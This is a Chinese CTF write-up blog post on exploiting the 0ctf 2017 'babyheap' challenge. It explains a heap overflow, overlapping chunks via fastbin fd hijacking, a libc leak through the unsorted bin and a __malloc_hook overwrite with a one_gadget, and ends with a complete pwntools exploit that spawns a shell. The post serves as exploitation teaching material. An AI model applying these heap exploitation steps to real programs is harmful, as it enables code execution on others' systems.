web选手入门pwn(11)

渗透技巧 1年前 (2022) admin
474 0 0

1,babyheap2017

https://github.com/0x3f97/pwn/blob/master/0ctf2017/babyheap/
这题自带的libc居然是Debian2.19的,建议换成glibc-all-in-one中的任意2.23。
这题虽然是2017但比2019的难很多,两者不是来源同一个CTF,从下图这个保护就可见一斑。

web选手入门pwn(11)

还是熟悉的增删改查,但这次我们可以自由控制chunk大小,chunk数量,chunk内容。
查看静态代码,main写的很漂亮。

web选手入门pwn(11)

先看sub_B70(),在urandom上取随机数,然后对addr进行处理。

web选手入门pwn(11)

动态调试一下确定addr,由于这题保护比较多,不好下断点,我们可以先下在__libc_start_main上,再下在RDI寄存器上(main地址)。
gdb babyheap
b __libc_start_main
r

web选手入门pwn(11)

b* 0x55555555511d
c

web选手入门pwn(11)

这些call跳转的地址即为main函数的sub_B70(),sub_CF4(),sub_138C()等函数的地址,通过最后3位可以分辨出来。
s步入到0x555555554b70,再慢慢单步到mmap(),可以非常直观的看到addr。

web选手入门pwn(11)

当然,执行完sub_B70(),此时直接看RAX也可以看到返回值&addr[v3],而RDX和RDI都可以看到addr。

web选手入门pwn(11)

这也是main函数中非常重要的v4,它被传入到增删改查所有函数中,它具体起什么作用呢?新建一个chunk,然后查看v4地址就明白了。

web选手入门pwn(11)

没错,这又是一个chunk list。
接着看静态代码,sub_CF4()是菜单,sub_138C()封装了read,用来读取你的输入,后面会反复看到。

sub_D48()是add(Allocate),这里用的calloc()开辟chunk空间。

web选手入门pwn(11)

从代码中可以看到,只允许16个chunk,chunk大小v2限制了最大4096,然后分别向v4,v4+8,v4+16地址写值,具体写了什么可以再看一遍这张图。

web选手入门pwn(11)

sub_E7F()是edit(Fill)。

web选手入门pwn(11)

先是输入Index,然后从v4+result地址拿出来,输入字Size以及Content,然后执行sub_11B2——同样封装的read()。即往chunk中写入v3长度的字符串。
可以明显看出来,Size也就是v3居然没有任何限制,这明显是个chunk越界写。

sub_F50(Free),输入Index,校验v4+24*result地址的值是否为1,然后改写成0,再清空Size,free chunk,清空指针。

web选手入门pwn(11)

sub_1051(Dump),读chunk,sub_130F()封装了write()

web选手入门pwn(11)

那么这题很明显也是让我们劫持fd。
那么进入动态调试,还是用show(1)当断点。注意这题最好关闭ALSR,否则每次断点都要重新确定地址。

#!/usr/bin/env python from pwn import *import sys context.log_level = "debug"#sh = process("./babyheap")sh = gdb.debug("./babyheap","b *0x555555555051 n c")
def add(size): sh.recvuntil("Command: ") sh.sendline("1") sh.recvuntil("Size: ") sh.sendline(str(size)) def edit(index, content): sh.recvuntil("Command: ") sh.sendline("2") sh.recvuntil("Index: ") sh.sendline(str(index)) sh.recvuntil("Size: ") sh.sendline(str(len(content))) sh.recvuntil("Content: ") sh.send(content) def free(index): sh.recvuntil("Command: ") sh.sendline("3") sh.recvuntil("Index: ") sh.sendline(str(index)) def show(index): sh.recvuntil("Command: ") sh.sendline("4") sh.recvuntil("Index: ") sh.sendline(str(index)) sh.recvline()return sh.recvline()
add(0x10)add(0x10)edit(0,"AAAA")show(1)edit(1,"BBBB")show(1)

我们进入show(即Dump)函数,那么RDI其实就是v4的地址。这个地址由于是从urandom中取得随机数,所以即使关闭ALSR,也还是随机的。但我们断show这个地方,可以轻易的从RDI中取出v4地址,还是比较方便。

web选手入门pwn(11)

web选手入门pwn(11)

老把戏,free(1)之后edit(0,”A”*36)

add(0x10)add(0x10)free(1)edit(0,p64(0x0)*3+p64(0x21)+"A"*8)show(1)

web选手入门pwn(11)

接下来就是寻找符合条件的fastbin size处,但这题并没有,之前我们常用的chunk list也就是v4地址只存储3个值,0x1,0x10和chunk指针,都不符合要求。
仔细思考一下,这题保护过多且提供libc,我们只能泄露libc,唯一有机会泄露libc的是show()。
这里就要介绍unsorted bin的特性,当free一个chunk,其大于fastbin(0x80),就会进入unsorted bin,而且fd和bk正好指向libc地址,也就是&main_arena+N。

add(0x80)add(0x10)free(0)show(0)

web选手入门pwn(11)

那么,我们只需要想办法将unsorted bin的fd/bk打印出来就行了,这需要伪造其上方的chunk大小。
先进行一个错误示范。

add(0x10)#c0add(0x10)#c1add(0x80)#c2add(0x10)#c3edit(0,p64(0x0)*3+p64(0x41))free(2)show(1)

web选手入门pwn(11)

这样通过编辑c0,越界到c1,将c1 size扩大,看起来好像可以,但回顾代码,show()是从v4+8的地址上取值的,v4上还是0x10就没用。

web选手入门pwn(11)

那么将c1 free再add呢,free仅会清空fd/bk位置,好像符合我们需求。

add(0x10)#c0add(0x10)#c1add(0x80)#c2add(0x10)#c3edit(0,p64(0x0)*3+p64(0x41))free(2)show(1)free(1)add(0x30)show(1)

free(2)之后的布局如下,看起来将伪造成41的c1给free掉,然后再加一个0x30的chunk,就可以show c1。

web选手入门pwn(11)

然而free(1)会报错。

web选手入门pwn(11)

看起来并没有那么简单,在网上搜到了其他办法。
先free两个chunk(0x10),然后修改fastbin的fd,指向chunk(0x80),再add两个chunk(0x10),这样就会存在一大一小两个重叠的chunk。此时再free大chunk,打印小chunk即可打印出libc。当然,全程还有fastbin的校验问题,需要频繁用edit去更改size以通过校验。

add(0x10)#c0add(0x10)#c1add(0x10)#c2add(0x80)#c3add(0x10)#c4free(1)free(2)

web选手入门pwn(11)

修改c0,其他不变,仅仅将fb的20改成60

edit(0,p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x60))

web选手入门pwn(11)

这还不够,还需要将0x91也编辑成0x21,如果通过c0编辑的话,势必要确定chunk基地址,也就是0x555555759000,因为是我们开了ALSR这个值才是固定的,所以需要在c2和c3之间再插入一个chunk(0x10)方便edit()。
推倒重来。

add(0x10)#c0add(0x10)#c1add(0x10)#c2add(0x10)#c3add(0x80)#c4add(0x10)#c5free(1)free(2)#修改fd指向c4edit(0,p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80))#修改c4以通过fd size检测edit(3,p64(0)*3+p64(0x21))

web选手入门pwn(11)

现在就很完美,add(0x10)两次之后,原本c4的地方chunk(0x80)就会重叠一个chunk(0x10)。

add(0x10)#c1add(0x10)#c2 fake chunk

web选手入门pwn(11)

光从heap段上感受不出来,我们直接看v4地址

web选手入门pwn(11)

可以看到,有两个相同的地址同时记录着0x10和0x80,非常神奇。
那么我们再将c4的size改回来,free(4),show(2)即可。

#c4 size修改回来方便freeedit(3,p64(0)*3+p64(0x91))free(4)show(2)

web选手入门pwn(11)

可以看到,因为c4和c2重叠的原因,利用unsorted bin的fd/bk指向libc,再打印c2,我们可以将libc泄露。

web选手入门pwn(11)

然而泄露的这个libc地址具体是多少呢?答案是main_arena+0x58(固定的)
而另一个重要的地址__malloc_hook,为main_arena-0x10。

web选手入门pwn(11)

然后即可搜到具体libc,通过system的辅助对比,可以确定是libc6_2.23-0ubuntu3_amd64。

web选手入门pwn(11)

所以最终libc基地址可以确定下来是0x7ffff7a0e000

web选手入门pwn(11)

这里网上的教程是直接减0x3c4b78得基地址,但我这里会得出一个错误地址。这是因为libc的不同,还是得用__malloc_hook地址去libc网站上查询到正确libc,然后计算出正确偏移。
libc基地址=泄露libc-0x58-0x10-0x3c3b10。

libc_addr = u64(show(2)[:8])-0x58-0x10-0x3c3b10print(hex(libc_addr)) 

web选手入门pwn(11)

然后就是如何getshell了,由于我们可以edit劫持fd,所以只要找到能过fastbin size检测的地方,就等于能劫持任意地址。这题标准答案是劫持__malloc_hook,它在malloc()的时候会触发。
但__malloc_hook上方似乎没有size可供劫持。

web选手入门pwn(11)

但我们可以偏移一下,将7f独立出来。

web选手入门pwn(11)

然后尝试用free/edit/add/add的套路劫持fd,将0x7ffff7dd1aed变成chunk。

add(0x60)free(4)

web选手入门pwn(11)

edit(2,p64(libc_addr+0x3c3aed))#0x7ffff7dd1aed 

web选手入门pwn(11)

add(0x60)#c5add(0x60)#c6 fake chunk 

web选手入门pwn(11)

通过v4上的chunk list可以看出,我们成功让0x7ffff7dd1aed成为chunk,先将__malloc_hook劫持成exit试试。
edit(6,x)所填充的字符可以通过0x7ffff7dd1b10-0x7ffff7dd1afd算出来是19个。

exit_addr = libc_addr+0x3a020edit(6,"x00"*19+p64(exit_addr))

web选手入门pwn(11)

add(255)

然后随便add一下,成功触发exit,程序终止。


最后还有一个问题,那就是由于不存在system(‘/bin/sh’)的后门函数,单单劫持一个函数,似乎无法完成getshell。在babyheap2019中,我们巧妙的劫持了atoi,然后在选项中输入/bin/sh完成getshell,这题似乎不具备这样的条件。
有一个项目可以为我们找出libc中的单地址execve(“/bin/sh”)。
https://github.com/david942j/one_gadget
安装并使用即可。
sudo gem install one_gadget
one_gadget /glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6

web选手入门pwn(11)

这里选择第二个成功getshell,完整exp如下。

web选手入门pwn(11)

#!/usr/bin/env python from pwn import *import sys context.log_level = "debug"sh = process("./babyheap")#sh = gdb.debug("./babyheap","b *0x555555555051 n c")
def add(size): sh.recvuntil("Command: ") sh.sendline("1") sh.recvuntil("Size: ") sh.sendline(str(size)) def edit(index, content): sh.recvuntil("Command: ") sh.sendline("2") sh.recvuntil("Index: ") sh.sendline(str(index)) sh.recvuntil("Size: ") sh.sendline(str(len(content))) sh.recvuntil("Content: ") sh.send(content) def free(index): sh.recvuntil("Command: ") sh.sendline("3") sh.recvuntil("Index: ") sh.sendline(str(index)) def show(index): sh.recvuntil("Command: ") sh.sendline("4") sh.recvuntil("Index: ") sh.sendline(str(index)) sh.recvline() return sh.recvline()
add(0x10)#c0add(0x10)#c1add(0x10)#c2add(0x10)#c3add(0x80)#c4add(0x10)#c5free(1)free(2)
edit(0,p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80))
edit(3,p64(0)*3+p64(0x21))add(0x10)#c1add(0x10)#c2 double chunk
edit(3,p64(0)*3+p64(0x91))free(4)
libc_addr = u64(show(2)[:8])-0x58-0x10-0x3c3b10print(hex(libc_addr))#0x7ffff7a0e000
add(0x60)#c4free(4)
edit(2,p64(libc_addr+0x3c3aed))#0x7ffff7dd1aed
add(0x60)#c5add(0x60)#c6 fake chunk
#exit_addr = libc_addr + 0x3a020sh_addr = libc_addr + 0x4525a
edit(6,"x00"*19+p64(sh_addr))
add(255)sh.interactive()


原文始发于微信公众号(珂技知识分享):web选手入门pwn(11)

版权声明:admin 发表于 2022年12月19日 下午5:31。
转载请注明:web选手入门pwn(11) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...